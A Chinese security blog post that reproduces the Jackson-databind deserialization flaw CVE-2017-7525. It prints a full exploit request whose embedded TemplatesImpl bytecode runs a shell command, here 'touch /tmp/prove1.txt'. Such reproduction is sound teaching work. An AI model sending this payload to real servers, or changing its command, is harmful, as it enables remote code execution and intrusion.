Jackson 反序列化远程代码执行漏洞复现

admin 2021年4月25日07:30:03评论206 views字数 3127阅读10分25秒阅读模式

本文作者:lightMs08067实验室 SRSP TEAM小组成员)

Jackson 反序列化远程代码执行漏洞复现

jackson介绍

Jackson是一个能够将java对象序列化为JSON字符串,也能够将JSON字符串反序列化为java对象的框架。是基于Java平台的一套数据处理工具,被称为”最好的Java Json解析器”。它可以使我们高效、简便的处理json字符串。

序列化

序列化函数为databind.ObjectMapper。

当Jackson开启某些配置时,会允许开发者在反序列化时指定要还原的类,过程中调用其构造方法setter方法或某些特殊的getter方法,当这些方法中存在一些危险操作时就造成了代码执行。

Jackson核心模块组成

jackson-core核心包用于提供基于"流模式"解析的相关API,它包括 JsonPaser和JsonGenerator。Jackson内部实现正是通过高性能的流模式 API的JsonGenerator和JsonParser来生成和解析json。

jackson-annotations,注解包,提供标准注解功能;

jackson-databind,数据绑定包,提供基于"对象绑定" 解析的相关 API(ObjectMapper)和"树模型" 解析的相关API(JsonNode);基于"对象绑定" 解析的API和"树模型"解析的API依赖基于"流模式"解析的API。

无回显区分 Fastjson 和 Jackson

Fastjson要求不是很严格,所以当添加key时时不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,所以会报错,服务器的响应包中多少会有异常回显。

Jackson 反序列化远程代码执行漏洞复现

CVE-2017-7525

Jackson-databind在设置 Target class 成员变量参数值时,若没有对应的 getter 方法,则会使用 SetterlessProperty 调用 getter 方法,获取变量,然后设置变量值。当调用 getOutputProperties() 方法时,会初始化transletBytecodes 包含字节码的类,导致命令执行。使用JDK7u21的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为Gadget,发送如下请求,将会执行touch/tmp/prove1.txt

数据包

POST /exploit HTTP/1.1Host: your-ip:8080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64) AppleWebKit/537.36 (KHTML, like Gecko)Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: wp-settings-time-1=1585830900;pro_end=-1; order=id%20desc; ltd_end=-1; memSize=3789; sites_path=/www/wwwroot;backup_path=/www/backup; uploadSize=1073741824; rank=a; Path=/www/wwwroot;serverType=apache; force=0; PHPSESSID=tip00ut1ikrhbti18c0lh88ge2;security=impossible;BT_PANEL_6=0984f72c-0cb3-43fc-b57c-f0520915f47e.JtL1_XK2M1R1GRJwE0njVzssKhs;request_token=KI57WHwixJfkegrcqLrE7DCexa8zjG7UYk4h7v6SwBBQ2KX0; pnull=1; p5=1;load_page=null; softType=-1; load_type=-1; load_search=undefinedConnection: closeContent-Type: application/jsonContent-Length: 1298 { "param": [   "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",    {     "transletBytecodes": [ "yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="     ],     "transletName": "a.b",     "outputProperties": {}    }  ]}

Jackson 反序列化远程代码执行漏洞复现

Jackson 反序列化远程代码执行漏洞复现

由于此漏洞为JDK7u21及以下版本环境中存在,故升级jdk版本及可防御。







扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

Jackson 反序列化远程代码执行漏洞复现  

目前25000+人已关注加入我们

Jackson 反序列化远程代码执行漏洞复现

本文始发于微信公众号(Ms08067安全实验室):Jackson 反序列化远程代码执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月25日07:30:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jackson 反序列化远程代码执行漏洞复现https://cn-sec.com/archives/291981.html

发表评论

匿名网友 填写信息